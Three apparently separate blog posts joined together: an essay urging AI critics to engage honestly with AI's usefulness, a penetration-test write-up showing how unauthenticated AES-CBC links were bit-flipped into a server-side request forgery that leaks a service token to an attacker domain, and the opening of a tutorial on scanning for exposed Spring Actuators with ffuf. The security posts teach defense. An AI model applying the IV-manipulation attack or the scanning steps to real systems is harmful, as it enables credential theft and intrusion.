Additionally, I believe that AI critics can benefit from at least understanding the positions of AI proponents, even if they disagree with them. Having empathy and extending the benefit of the doubt goes a long way to seeing them not as radical capitalists hell-bent on replacing humans with machines and ready to boil the oceans to get their way, and instead understanding that, fundamentally, many of these people believe that they are acting for the benefit of humanity, and that not rolling out AI as fast as possible is unethical. You need not agree with that, but you need to understand it in order to engage with them.

The Usefulness of AI

What makes AI useless or useful? (What makes anything useless or useful?)

A very simple definition could be: a technology is useful if it solves a problem for its user. That problem may be small (“please proofread this essay for me”) or life-changing (“ChatGPT diagnosed my rare disease” is basically a whole genre now, even though the effectiveness is still hit or miss). The goal of the user might be ethical or unethical, prosocial or antisocial, or somewhere in between on the spectrum - what matters is that someone wants the problem solved, and AI is helping that person solve it. If it is successful, in the eyes of the user, then it is useful to them.

AI is useful to me, specifically. I find myself using it to aid in restructuring or rewriting my texts, not by telling it “rewrite this for me”, but by asking “please review this text and highlight points where the arguments are unclear, the storyline doesn’t make sense, or the general style could be strengthened". And the results are good! Just like when using a human reviewer, you use 20% of what they tell you directly, adapt 60%, and ignore the remaining 20%, and the review cycles are measured in seconds, not days. This is useful.

I also use it to learn about broad concepts, have it explain specific things to me in terms that I can understand more easily, write short bash scripts that are ugly but only need to work once, and many other things. And I occasionally use services like Perplexity to have them summarize the state of research on specific, niche topics that I am not an expert in. Does it get things wrong or make them up? Occasionally, yes, but that is not the point. The point is that getting a 80% correct explanation of the current state of research on some thing that I know very little about is more useful to me than spending three hours attempting to decipher the scientific papers this explanation was pulled from, and I can then go out and verify the tidbits that are really important in my situation and that I absolutely need to get right.

Just today, I assisted a bike driver who had been hit by a delivery bike and fallen on her unprotected head (seriously, people, wear helmets!). I used an AI to quickly pull up a list of symptoms for concussion to check with her. This gave me the information in half the time it would have taken me to scroll past the ads on Google, click on the first link, wait for it to load, dismiss the cookie banner and popup ad, and get a less well formatted and potentially less complete version of this information (that, let’s be real, may have also been written by AI). This is useful.

The AI Optimists Perspective

While I've outlined how AI is useful to me personally, it's worth exploring why AI proponents are so enthusiastic about this technology. Many see potential far beyond the current applications:

• Productivity amplification: Proponents see AI as a tool that can dramatically increase human productivity across domains, from coding to creative work. Cricics often frame this as “AI taking away jobs”, AI proponents see it as a hyper-effective autocomplete that takes away the toil of the “boring parts” of the job (no one likes writing boilerplate code), and leaves more time for the interesting parts.

• Democratization of capabilities: They envision AI making specialized skills more accessible to people without formal training. This starts with people using ChatGPT to help them draft letters to dispute incorrect decisions by banks which contain all the right magic words to make the bank listen, but does not end there.

• Problem-solving at scale: Many believe AI can help address complex challenges like climate modeling, drug discovery, and scientific research. The founder of Anthropic speaks about having “a country of geniuses in a datacenter” that can solve problems, run experiments, conduct their own research, and allow humanity to progress at a pace never seen before.

• Economic transformation: Some see AI as enabling new business models and economic opportunities that weren't previously possible. Already, people are running market research on simulated populations of people, or having virtual stakeholders at the table in ideation meetings to get feedback much faster and cheaper, and for AI proponents, this is just the start.

• New Applications that we haven’t even considered: Of course, the strongest form of AI optimism is to say that whatever we can imagine now will pale in comparison to what AI will really be capable of, in the same way that the people who built ARPANET could not forsee YouTube.

Understanding these perspectives doesn't require agreeing with them. However, engaging with the strongest versions of pro-AI arguments rather than caricatures allows for more productive dialogue about the technology's future, and about the costs associated with pursuing it.

Why Is Calling AI Useless Hurting Your Argument?

Let’s assume that you actually want to convince people with your argument against AI, and aren’t just in it for the memes and hot takes. We have established that to the people you want to convince and bring to your side, AI is useful. You may not think that the use that they are getting from it is good (one persons “effective content marketing machine” is anothers “AI slop generator poisoning the Internet”), but if you want to convince them, you need to meet them where they are and start with a shared reality / a shared set of assumptions to base a productive discussion on. By saying that AI is useless, you are signaling that this shared reality does not exist on a foundational level, and are hurting the credibility of your other arguments.

You’ve probably been on the other side of this kind of argument yourself. If you are an AI sceptic, chances are you have a high affinity for technology and are probably hanging out with people from hackerspaces, or gamers, or other technically-inclined subcultures. (There are other groups of people opposed to AI, like artists, but let me use these as an example, as this is where I have my own roots). Do you remember when people were saying things like these?

“Why would anyone need more than ISDN speeds at home?”

“Oh yes, we thought about digitizing these forms, but making you send them by fax / letter is a lot easier.”

“What the hell do you need mobile internet for?”

“Well, this whole ‘Internet’ thing is never going to catch on, why are you wasting your time with it? Why not learn mainframe programming?” (okay, that probably hasn’t been said in a few years, but you get the idea)

Did sentences like this make you trust the judgement of the person delivering it? Would you have been as open as before to receiving potentially more valid arguments from them after that, or would you have disqualified them as cranks who didn’t know what they were talking about? I know I always had a hard time taking people seriously after sentences like that.

People on all levels, from school children to CEOs, have made the experience that AI can help them solve their problems. Some people see AI as a technological revolution that is “on the small end, at least as large as the Internet”. These are fundamentally serious people who have to convince other fundamentally serious people that spending hundreds of billion dollars on this bet is the right call, and they are succeeding with these arguments. Telling them that AI is useless is so far outside of their perceived reality that they will immediately stop listening to anything you are saying and ignore you as a crank, luddite, or whatever other term they choose to use.

Now, is it possible that AI is a bubble that will pop? In my eyes, it is not only possible but inevitable. Many new technologies have a bubble phase. The Dot-Com-Bubble also had a telco-bubble attached to it that popped hard after significant initial overinvestment in the buildout of connectivity, leading to massive losses for the affected telcos. AI evangelists seem to be split on whether the AI bubble will pop or whether the demand for “artificial cognition” (their words) will increase so much that the currently planned buildout will be insufficient, but let’s be clear: if it pops, they will be broadly OK with that and count it as the cost of doing business and rolling out a disruptive new technology. They are writing books exhorting the power of bubble dynamics in driving change (and making a few good arguments!). And, let’s be honest: if you could set a couple billion dollars of private equity funds on fire to roll out a technology that significantly changes the world for the better a couple years earlier, wouldn’t you?

Distinguishing Between Poor Implementations and Core Utility

We've all seen the awkwardly integrated AI assistants that companies have bolted onto existing products to please shareholders. Similarly, the flood of “X, but with AI” startups often deliver little value beyond buzzword compliance and setting venture capital on fire. These implementations can indeed be useless or even counterproductive, and it is only correct to call this out.

This pattern isn't unique to AI. We saw similar dynamics with blockchain (a hype cycle where I am far more open to the argument of “fundamentally useless except for crime and destroying the planet”, but I digress), IoT, and countless other technology waves. Poor implementations and hype-driven products deserve criticism, and pointing them out is both valid and necessary. And, yes, it can be funny and even cathartic to point and laugh when they implode.

However, the failure of these specific implementations doesn't invalidate the core utility of the underlying technology. Just as the Dot-Com bubble's burst didn't mean e-commerce was fundamentally a bad idea, the inevitable collapse of many AI ventures won't mean the technology itself lacks utility.

The Right Criticisms Of AI?

So, what should we argue about, then? In my view, there’s no lack of easy targets or hard questions to be had here. The elephant in the room is the environmental impact of planning to spend double-digit percentage points of the national power grid capacity on AI computations. The social impact of replacing (skilled or unskilled) labor with computers, the impact on the effectiveness of companies doing this too early and making expensive mistakes due to AI not being suited for these purposes, the impact on IT Security and maintainability of having AI write your code for you, the impact on education when people can just generate a complete essay, the exploitation of people in training these models, … there are lots and lots of criticisms to choose from. Pick one. Hell, pick all of them. Go to town.

Or go deeper on where your feeling of “AI is useless” comes from. Is it that you expect it to over-promise and under-deliver? Is it the ecosystem of grifters looking for easy money around it? Is it the fact that the system will just make things up if it runs out of ideas? Or have you tried that specific feature someone else is touting and were disappointed? Why?

These are problems that we need to address, and many of these problems are also seen as problems by AI proponents, and are being actively worked on - because these people aren’t dumb or evil. They see the technology through other eyes, they weigh the importance of different factors differently, or they have different expectations of the effects of future models on all of these issues. This isn’t a cabal of grifters out to steal money from Hard-Working Americans™, but many of them are people who believe that what they are doing is bringing society closer to another revolution in capabilities and progress.

Conclusion

Personally, I find reading the articles and listening to the podcasts of people who aren’t AI evangelists but are in the pro-AI camp quite helpful to update my mental models of what the “other side” is thinking. Stuff like the Complex Systems podcast with Patrick McKenzie on boom and bust cycles, or on AI and power economics (NB: I don’t consider this an overall fantastic podcast, but find the episodes interesting for learning what a proud capitalist with some libertarian leanings thinks about these issues, even if I don’t share these views). Similarly, reading what the founder of an AI lab sees as the potential upside of AI can be instructive, even if you don’t agree with them. I’m sure there are more good sources that I can’t remember off the top of my head (feel free to put them in the comments below or send them to me on Mastodon and I will add them here).

Having discussions about the limitations and costs of AI is important. However, having an agreed common reality is a prerequisite for that. Calling AI categorically useless, or only engaging with strawman versions of proponents’ arguments, sabotages this common reality, which will help no one. If we want to be heard, we have to be honest and acknowledging that AI can be a tool to solve some problems, while sometimes disagreeing on whether these problems should be solved, are solved well, or solving them is worth the cost, can be a more fruitful base for discussions. Just because you accept something as useful does not mean that you endorse it. It just means that you have to work a little harder and dig a little deeper in your criticism - and that will make it a better discussion for everyone.

In the end, there will probably not be agreement, but hopefully, there will at least be more understanding than before. And, no matter which side you are standing on, polarized discussions that are driving people into factions aren’t the way forward.

A Personal Afterword

I wrote this article because the one-sided arguments I was reading on Mastodon annoyed me, and because some of the criticisms did not match my experience. Frankly, this essay is just something that I needed to get out of my system, so that I could have something to point to and say “this! This is what I mean!” without having to rehash the same arguments over and over.

This does not mean that I see AI proponents as doing a much better job in this area, with some of them basically calling opponents luddites that stand in the way of the inevitable march of progress. In the end, both sides of the debate need to be willing to honestly engage with one another, and I expect this from proponents at least as much as from opponents - they are the ones who are foisting hundreds of billions of dollars in investments on us while cheerfully telling us that this stuff may wipe out humanity.

This piece is focused on the side of the AI critics simply because these are the people in my social circles and thus more likely to be reading it. If the person who you are talking to is not making a good-faith effort, you should absolutely call them out on it, and I don’t expect you to go high when they go low. All I’m asking is that we should not be the ones throwing the first stone, and that we keep our minds open to the possibility that there may be some truth to what AI proponents are saying, and that they, like us, are humans who believe in what they are doing, and think that they are doing what is best. It’s cliché, but that does not make it wrong.

In the interest of transparency and "showing my work": I wrote a first draft of this article and then fed it to Claude 3.7 Sonnet to get feedback on it. I implemented many changes to address weaknesses identified by this conversation. In the section "Distinguishing Between Poor Implementations and Core Utility", I used some text proposed by Claude, before making significant changes to it to adapt it to my style and the argument I wanted to make. You can read the full, unedited transcript here (where you will also see the complete first draft of the article).

The next morning, after receiving some input from a friend, I found that I wanted to make a different point more strongly and made some further edits with input from Claude 3.7 Sonnet, which resulted in the “AI Optimists Perspective” section, which was also partially-generated and then adapted by me. You can find the second transcript here. In my eyes, the article was much improved through this collaboration, though such things are of course in the eye of the beholder.

I first verbalized these arguments in a dinner conversation with two colleagues, who I thank for giving me the opportunity to crystallize my thinking in a fruitful discussion on this topic. I also received feedback from Kris Shrishak, and while I did not follow some of his recommendations, his feedback strenghtened the article and helped me clarify to myself what I wanted to say.

What makes this issue interesting is both the internal mechanisms of the issue (an entertaining case of incorrect use of cryptography) and the things it can teach us about secure system design, and how seemingly small architecture decisions can exacerbate the severity of a vulnerability. In this article, we will start with a high-level view of the system, and then drill down into one part until we reach the problem. We will then discuss how and why the attack works, before zooming back out and discussing how a more robust system design could have mitigated the issue.

So, without further ado, let's dig in.

The System

The software under test was part of a larger system that, taken together, handled payment processing, accounting, refunds, customer service, and several other features. It was using a microservice architecture, with the individual components linked together through REST and message queueing APIs. A central identity management (IDM) system was handling identities for both users and service accounts (the latter being used by microservices when communicating with each other). Individual users and accounts could have roles assigned to them, and these roles would be checked by the REST interfaces of the individual microservices to verify authentication and authorization. All REST communication was routed via two API gateways, one for external APIs, and one for internal use between microservices.

The scope of the security check was a single application, which was used by the internal staff of the company to (among other things) inspect the state of payments (e.g., when a customer was asking if their payment had come through), and trigger repayments (e.g., when a customer was canceling an order or had accidentally overpaid). It consisted of a frontend running in a browser, that communicated with a Backend-for-Frontend (BFF) which would receive requests from the frontend, ensure the users' session was valid and the user was allowed to use the requested functionality, and translate them to REST calls to other services (via an API gateway) which were authenticated with the service account of the BFF by including an access token obtained from the IDM as part of the request. The use of an API gateway allows the system to keep the actual microservices behind a firewall and only expose the API gateway, reducing the attack surface and providing a single place for authenticating, logging, and auditing incoming requests.

The Feature

Today, we are interested in one specific feature of the system: the file download. In some cases, a customer service representative would need to be able to look at an invoice or another document in the system. These documents were managed by a different microservice, so this required a call via the API gateway, triggered by the BFF. The developers chose to model this by having the BFF retrieve the list of documents as part of their backend call that retrieved information about a specific payment. The list of documents provided convenient download links that could be retrieved when in possession of the correct access token - however, since the users didn’t have an access token for the API gateway, any download would have to be proxied through the BFF.

The trivial solution would have been to simply provide these links to the frontend and create an endpoint on the BFF of the form /api/file_download?url=https://api.company.com/files/abc.pdf. However, the developers were (rightly) wary of creating an API like this, as it could be abused for an attack called server-side request forgery (SSRF), where an attacker could provide arbitrary URLs and trick the server into requesting them. This can be prevented by performing detailed checks of the requested URLs, but there is always a residual risk that you got something wrong and an attacker can slip through the cracks.

The developers decided to instead encrypt these links and provide an API endpoint that received these base64-encoded ciphertexts, decrypted them, and downloaded the linked files to provide them to the users. In the end, the full sequence of requests and responses would look like this (a key signifies that a request is authenticated with a service account access token that the API gateway understands):

With this strategy, the developers figured that there should be no risk of accidentally introducing an SSRF vulnerability, as the attacker would need to know the secret key the application is using for encryption and decryption to insert a different URL.

Taking A Closer Look

I am a sucker for any kind of cryptography, so I always take a closer look when I see something like this. In 99% of the cases, you won't find anything, but thinking through all of the subtle ways cryptography may go wrong brings me joy. As this was a "whitebox" engagement (with full access to the source code of the system), I decided to take a closer look.

The BFF was written in Javascript, and the encryption function looked something like this:

// this.key contains the cryptographic key
cipher(text: string) {
    // Generate a 16-byte random initialization vector (IV)
    const iv = crypto.randomBytes(16);
    // Initialize the cryptographic API
    const cipheriv = crypto.createCipheriv("aes-128-cbc", this.key, iv);
    // Encrypt the data
    const encrypted = Buffer.concat([cipheriv.update(text), cipheriv.final()]);
    // Return base64(IV).base64(ciphertext)
    return iv.toString("base64") + "." + encrypted.toString("base64");
}

Roughly speaking, the system would generate a so-called initialization vector (IV - more on that below) using a cryptographic randomness function, do some basic setup for encrypting data with AES 128 in Cipher Block Chaining (CBC) mode under a fixed key, encrypt the data, and then return the IV and encrypted string (ciphertext), separated using the dot as a separator character. This is the result that is given out to the frontend.

To decrypt, the same is done in reverse: The data is sent from the frontend to the BFF, split on the dot, the IV and ciphertext decoded from its base64 representation, and the result is decrypted using the fixed cryptographic key in the application. The BFF then retrieves the decrypted URL, attaching its access token to authenticate against the API gateway.

Since not everyone reading this will be intimately familiar with the ins and outs of cryptography, I will quickly recap some basics of cryptography that will be required to understand how this setup poses a security risk. Feel free to skip over any parts that you are already familiar with.

Cryptography 101: Symmetric Encryption

The system uses AES to en- and decrypt the data. AES is a so-called symmetric encryption algorithm - the same key is used for encryption and decryption. In mathematical notation, you generally say that the plaintext \(P\) is encrypted under the key \(k\) to create a ciphertext \(C\) (in short: \(C = Enc(k, P)\)), and can be decrypted using the same key (so that \(Dec(k, C) = P\) - I'm giving these notations as it will make understanding the attack easier down the line).

Symmetric ciphers have the advantage that they are quite fast, and in a setup like this, where the same machine is encrypting and decrypting all data, you also don't have to worry about how to make sure that \(k\) is distributed to the right machines. So, this seems like a good choice for the scenario.

Cryptography 102: Block Cipher Modes

Now, AES (like any other cryptographic primitive) has one drawback: It can only encrypt a limited amount of data. In the case of AES-128, that is 128 bits or 16 bytes. However, most data that you may want to encrypt are longer than 16 bytes. Your first intuition may be to simply split the data into blocks of 16 bytes and encrypt each block separately under the same key:

(This image, and the following similar illustrations, were all created by WhiteTimberwolf and placed in the public domain. You can find the originals in this Wikipedia article)

This approach is called the "Electronic Codebook" (ECB) mode, and is insecure, as it reveals patterns in the encrypted data if specific blocks of the plain text are identical (you may be familiar with this famous illustration of the problem).

Now, this isn't great, so, several alternatives were designed. The one we are interested in here is called Cipher Block Chaining (CBC). In this mode, the ciphertext of the previous block is combined with the plaintext of the to-be-encrypted block using the exclusive OR (XOR, denoted \(\oplus\) in mathematical notation) operation.

Or, written in a more mathematical way: \(C_n = Enc(k, P_n \oplus C_{n-1})\). This ensures that repeating patterns of data in the plaintext do not result in repeating ciphertext blocks. This leaves us with an edge case: What happens with the first block, for which no previous block of ciphertext exists? Here, we instead use a string of random bytes called the Initialization Vector (IV) in place of the ciphertext of the previous block, i.e. \(C_0 = Enc(k, P_0 \oplus IV)\). This IV is sent together with the ciphertext (i.e., it isn't secret), and is needed to properly decrypt the data.

To decrypt, the process is done in reverse:

Or, written as a formula: \(P_n = Dec(k, C_n) \oplus C_{n-1}\), with \(P_0 = Dec(k, C_0) \oplus IV\). This works because if you XOR a value with itself, it will cancel out, leading to the original plaintext. So, the decryption looks like this:

$$\begin{align} P_n &= Dec(k, C_n) \oplus C_{n-1} \\ &= P_n \oplus C_{n-1} \oplus C_{n-1} \\ &= P_n \\ \\ P_0 &= Dec(k, C_0) \oplus IV \\ & = P_0 \oplus IV \oplus IV \\ & = P_0 \end{align}$$

And that's all there is to it - CBC mode is a fairly straightforward encryption mode that addresses the problems of ECB mode without adding a ton of extra complexity.

Encrypting data like this is all well and good if your goal is to keep the data confidential. However, in this system, the secrecy of the data isn't actually the most important part - making sure that the data remains unchanged is. This property, called authenticity, is what we really want to achieve.

Looking at it from this lense, we begin to see a problem: Using encryption does not, in itself, provide any authentication of the ciphertext - we can simply change the ciphertext and the server will happily try to decrypt the data (and receive garbage as the resulting plaintext).

This, in itself, isn't very useful to us as an attacker. But what if we could figure out a way to change the data we provide to the server in a specific way, so that a predictable, targeted change in the plaintext occurs during decryption?

Cryptography 201: Malleable Encryption

Let's take another look at CBC mode decryption, specifically that of the first block of data. To refresh your memory, here's the formula:

$$\begin{align} P_0 &= Dec(k, C_0) \oplus IV \\ & = P_0 \oplus IV \oplus IV \\ & = P_0 \end{align}$$

Recall that neither \(C_0\) nor the \(IV\) are protected against modification. Now, let's assume for a moment that we know the value of \(P\_0\), and our goal is to ensure that the decryption will result in a different value, denoted \(P\_0'\). How can we achieve this?

The answer is: fairly easily. First, we need to determine the difference (i.e., the XOR) between the two values - let's call it \(D\) for "difference":

$$D= P_0 \oplus P_0'$$

Now, let's take this difference, and XOR it on the initialization vector (IV) we have, to obtain a new IV:

$$IV'=IV\oplus D$$

If we now provide the (unchanged) ciphertext together with the new IV to the server to decrypt, it will compute the following:

$$P_0^? = Dec(k, C_0) \oplus IV'$$

First, let's resolve the decryption operation

$$P_0^? = P_0 \oplus IV \oplus IV'$$

Now, we know what \(IV'\) is from the earlier formula, so let's substitute it in.

$$P_0^? = P_0 \oplus IV \oplus IV \oplus D$$

And we know the value of \(D\) as well, as we computed it earlier, so let's put that into the formula as well:

$$P_0^? = P_0 \oplus IV \oplus IV \oplus P_0 \oplus P_0'$$

Now, since we know that a value XORed with itself will cancel out, we can simplify the formula in two steps:

$$\begin{align} P_0^? &= P_0 \oplus IV \oplus IV \oplus P_0 \oplus P_0' \\ &= P_0 \oplus P_0 \oplus P_0'\\ &= P_0' \end{align}$$

And... that's it - we have just tricked the server into decrypting the ciphertext to a different value under our control.

What does this allow us to do?

We now have full control over the first block (128 bits = 16 bytes) of the plaintext - what can we do with this? Well, remember how we talked about the possibility of server-side request forgery (SSRF) earlier? Looking at the URL, we have control over the first 16 characters, so the highlighted part of https://api.company.com/v1/… - the rest of the URL will remain constant. That is actually enough to redirect the request to a different server, assuming we have a sufficiently short domain name!

For this example, let’s assume I own the domain atk.me. I could manipulate the first 16 bytes of the address to make it decrypt to http://atk.me?q=any.com/v1/…, by computing the XOR of the original 16 bytes and my target. In this case, the plaintext URL was known to me due to the whitebox approach in the pentest (and due to an unrelated information leak where it was contained in an error message), so this was trivial. If the URL isn’t known, it could either be guessed, or another cryptographic attack could be applied (a so-called padding oracle attack), which would allow you to recover the full plaintext of the encrypted message under certain conditions (you can find an explanation of this attack in this article by NCC Group).

The request to the new target still contains the access token that the BFF is using to authenticate against the API gateway, and the BFF will happily send it over to us. So now we are in possession of a valid access token for the API gateway.

How System Architecture made this Worse

Now, so far, all of this is bad, but recoverable. However, we will now see a series of seemingly trivial architectural decisions that turn this from a nuisance into a disaster for the whole system.

Violation of the “Cryptographic Doom Principle”

First of all, all of this is only possible because the system uses unauthenticated ciphertext. This violates the aptly-named “Cryptographic Doom Principle” by Moxie Marlinspike (Creator of the Signal messenger, among other things):

If you have to perform any cryptographic operation before verifying the MAC on a message you’ve received, it will somehow inevitably lead to doom.

(Quoted from The Cryptographic Doom Principle, by Moxie Marlinspike)

Authenticating the ciphertext (and IV!) would have prevented this entire attack, rendering all the following points moot.

No URL Target Checks

A major tool for preventing server-side request forgery is to check the accessed domain by parsing it (using a dedicated URL parser that understands the structure of URLs) and matching the target domain of the request against a list of allowed domains. Done correctly, this can completely prevent SSRF attacks (although it is admittedly hard to do correctly). However, since the data was assumed to be trustworthy due to the use of encryption, no such protections were in place.

However, even if outgoing requests had been restricted to the domain of the API gateway, the more advanced padding oracle attacks (linked above) would have allowed making arbitrary changes to the requested path, and at least made it possible to access arbitrary GET endpoints and retrieve the results, which could lead to data leaks. So, while this would have made the attack less severe, it would have still been damaging.

Allowing Outbound Traffic

Another seemingly trivial question is: why is the BFF even allowed to contact servers that aren’t the API gateway? Its only job is to access the API gateway, so access to the internet at large would not be necessary and could be prevented using firewall rules. This would have prevented the request to the attackers server from being made, and thus the access token from being leaked.

Lack of Network Segmentation

However, the network situation is even worse in practice: The system architecture actually places the firewall behind the API gateway, not the BFF, meaning that I can access the API gateway from the open internet. This allows me to actually use my access token to authenticate against the API gateway and make arbitrary requests with it.

Overprivileged Tokens

Additionally, it turns out that the access token was the same for all requests made by the BFF. This was done so that the token could be cached and the BFF didn’t have to obtain a new access token from the IDM for every request, thereby reducing load on the IDM and decreasing latency. This is a valid architectural choice, but it means that for any given request to the API gateway, the token is overprivileged, as it always contains the roles necessary to access all API endpoints used by the BFF, not just the one it is currently accessing. So, our stolen access token is not just valid for the file download endpoint, but also to the ones for querying customers and orders, crediting customer accounts with refunds, and many more. We call these tokens “god tokens”, as they have practically unlimited power, and losing one of them is often catastrophic.

No Trustworthy Audit Logs

This also means that the API gateway cannot determine which specific user is actually using the system right now - it only sees a generic access token. This makes the BFF the only instance that can enforce user-based permissions and maintain trustworthy audit logs about which user performed what action. Other services had to rely on the representations made by the BFF, which would include information about the users’ identity (for audit logging), but which could be trivially changed if we are accessing the API gateway directly, as this identity is not cryptographically signed. So, not only could I take arbitrary actions, I could also place the blame for them on arbitrary employees by including their identity in the requests.

What Can We Learn From This?

There are probably a lot more things that I could mention here, but this article is already getting out of hand, so let’s wrap up. What can we learn from this? Well, first of all, I hope that if you take just one thing from this, it is this: authenticate your ciphertexts. But if you take a second thing from it: architecture matters! The way you separate your system into different components, decide which component is responsible for what, and which of them are allowed to talk to each other, matters! Reducing the access that each service has, matters! Getting this wrong may not, in isolation, lead to a security incident, but it will make any incident caused by errors in implementation, vulnerable dependencies, or whatever other reason, much worse.

Defense in depth can be a powerful tool to reduce the blast radius of any single vulnerability you have. These things are often easiest to find by conducting a threat modeling session with an experienced security team. However, if this isn’t possible for you, simpler methods for threat modeling exist that do not rely on having an experienced security professional on staff (I recommend the “Threat Modeling Fast, Cheap and Good” whitepaper by Adam Shostack for more on this).

The bad news is: Building 100% secure systems is hard. But the good news is: building systems that don’t immediately fall apart when a single vulnerability is discovered is actually a lot easier. Keep Defense in Depth in mind during design and implementation. Think about what would happen if any one of your assumptions is invalid, then design countermeasures for that - just in case. Most of them will never get tested, but if they do, you’ll be glad you spent the time.

Acknowledgements

This article (and the german-language conference talk it is based on) would not be the way they are today if it hadn’t been for my (now former) team lead at iteratec, Robert Felber, and for my colleagues from our internal security community. I was presenting an early version of the talk at our internal meetup, and after I described the initial architecture of the system he interrupted me and asked a very simple question: “Is this actually a good architecture?”. This question and the subsequent discussion completely changed how I looked at this vulnerability, and turned it from an entertaining cryptographic bug into a lesson in defensive system design.

This is part three of a series on the security implication of Spring Actuators. I recommend having read at least the first part to understand the context.

In the previous article, we discussed how you can leverage static code analysis using semgrep to detect misconfigured Spring Actuators. However, you may not always have access to the source code of the application: maybe you want to know if you have exposed actuators somewhere in your corporate network. Or maybe you are a bug bounty hunter and want to check if there are juicy actuators that you can get your hands on.

In any case, being able to find a URL to access and point at and say "look, there's an exposed actuator right there, do something about it" can be a much better call to action than an abstract "I found this weird thing in your code, can you take a look?". So, let's talk about catching actuators in the act.

We will be using the vulnerable demo application I provide on GitHub as an example for the rest of this blog post. It provides the actuators endpoint on http://localhost:8081/actuator. If you want to follow along at home, now is a good time to set it up.

Finding Actuators Using Your Browser

The most basic approach for finding exposed actuators is to do so by hand. Trivially, you can simply visit a website running Spring and try to access /actuator/ to see what happens. If actuators are enabled and the default path wasn't changed, it will show you the list of active endpoints. Easy.

However, it is fairly easy to miss something with this approach. Maybe the actuators are living under a different base path. Or maybe the actuators are running on a different port. Clearly, this approach has its limitations. So, like any good engineer, let's start looking at how this process can be improved.

Automatically Querying Many URLs for Actuators

The first thing we may want to do is to automate the process of checking these URLs. For this, I prefer to use the swiss army knife of request generators, ffuf. Written in Go, it is a lightning fast tool for sending lots of HTTP requests based on patterns you provide, and filtering the responses to show you only those you are interested in.

To demonstrate a simple example: Here's how we can check our demo application at http://localhost:8081/ using ffuf:

$ echo actuator > endpoints.txt
$ ffuf -w endpoints.txt:PATH -u http://localhost:8081/PATH

In the first command, we create a file containing the string "actuator" on a single line. With the second command, we invoke ffuf, tell it to use the word list "endpoints.txt" and alias it to PATH, and to generate and query one URL for each line in the endpoints.txt file, replacing PATH with the line from the file. The output looks like this:

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://localhost:8081/PATH
 :: Wordlist         : PATH: endpoints.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

actuator                [Status: 200, Size: 1758, Words: 1, Lines: 1, Duration: 99ms]
:: Progress: [1/1] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

ffuf tells us that by templating the value "actuator" into the URL, it received a response with the HTTP response code 200, with a size of 1758 bytes. This does not guarantee that actuators are actually running there, but it's a good first indicator that we should be taking a closer look.

Now, sometimes system operators try to be clever and move the actuator endpoint to a different URL - maybe they integrate them into an existing URL scheme, or maybe they are just sick of people scraping their systems (cough) and want to make it a bit harder to find. This is where ffuf can start to really help us. For example, let's say we have a list of commonly used alternative actuator base URLs - for example, by going through public code repositories and looking at how they are using the management.endpoints.web.base-path setting. We may end up with something like this:

$ cat endpoints.txt
actuator
actuators
admin
manage
management
manager
metrics
analytics
internal
internal/actuator
api
api/system
api/v1/system
api/manage
api/v1/manage
api/internal
api/internal/actuator
v1/system
v1/actuator
v1/actuators
v1/manage

Given this list, we can easily check if any of these endpoints is available on the server using ffuf, using the same command as above. For example, if we change the actuator base path in the demo application to internal and run the wordlist against it, we get:

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://localhost:8081/PATH
 :: Wordlist         : PATH: endpoints.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

internal                [Status: 200, Size: 1758, Words: 1, Lines: 1, Duration: 144ms]
:: Progress: [21/21] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

ffuf just generated all the requests for us, and only returned those that returned an HTTP status code that indicated something interesting (by default: 200,204,301,302,307,401,403,405,500, as shown above).

Scanning Many Pages

So far, we have only scanned a single page - but maybe your engagement covers a large number of (sub)domains, and you want to check all of them. Or you collected a list of subdomains for Bug Bounty hunting using a tool like amass. In any case, let's assume that the (sub)domains are in a file called domains.txt.

$ cat domains.txt
domain.com
sub1.domain.com
sub2.domain.com
[... etc ...]

ffuf will help you scan all combinations of domains and endpoints quite easily:

$ ffuf -w endpoints.txt:PATH -w domains.txt:DOMAIN -u http://DOMAIN/PATH

Here, ffuf will combine all domains from domains.txt with all endpoints listed in endpoints.txt, and request them all. Note that the number of requests can explode quite quickly, since it means you are sending len(endpoints) * len(domains) requests.

However, it also reveals a potential issue: Since ffuf will only filter based on response code at the moment, you will likely get quite a number of false positives. But we don't want to waste our time checking hundreds of false positives! Can't we do anything to narrow it down a bit more?

Actually, we can.

Anatomy of the Actuators Endpoint

First, let's take a look at what the actuator response looks like. With all actuators enabled, accessing /actuator on the application results in a response like this:

{
   "_links":{
      "self":{
         "href":"http://localhost:8081/actuator",
         "templated":false
      },
      "beans":{
         "href":"http://localhost:8081/actuator/beans",
         "templated":false
      },
      "caches-cache":{
         "href":"http://localhost:8081/actuator/caches/{cache}",
         "templated":true
      },
      /* a bunch more lines like this */
      "mappings":{
         "href":"http://localhost:8081/actuator/mappings",
         "templated":false
      }
   }
}

If we change the configuration to only enable the health check actuator (the default), the result is shorter:

{
   "_links":{
      "self":{
         "href":"http://localhost:8081/actuator",
         "templated":false
      },
      "health":{
         "href":"http://localhost:8081/actuator/health",
         "templated":false
      },
      "health-path":{
         "href":"http://localhost:8081/actuator/health/{*path}",
         "templated":true
      }
   }
}

And even if we disable all actuator endpoints (by removing the "include" setting and configuring management.endpoints.web.exposure.exclude="health"), we still get a response on /actuator that looks like this:

{
   "_links":{
      "self":{
         "href":"http://localhost:8081/actuator",
         "templated":false
      }
   }
}

(While this response does not indicate any direct danger, it can still be interesting in a black-box engagement, as it tells you that the application is running Spring.)

Looking at these responses, we can see that the response will always start with the _links key in the JSON, which in turn will always start with the self key. So, this seems like a good indicator to use when building our automation.

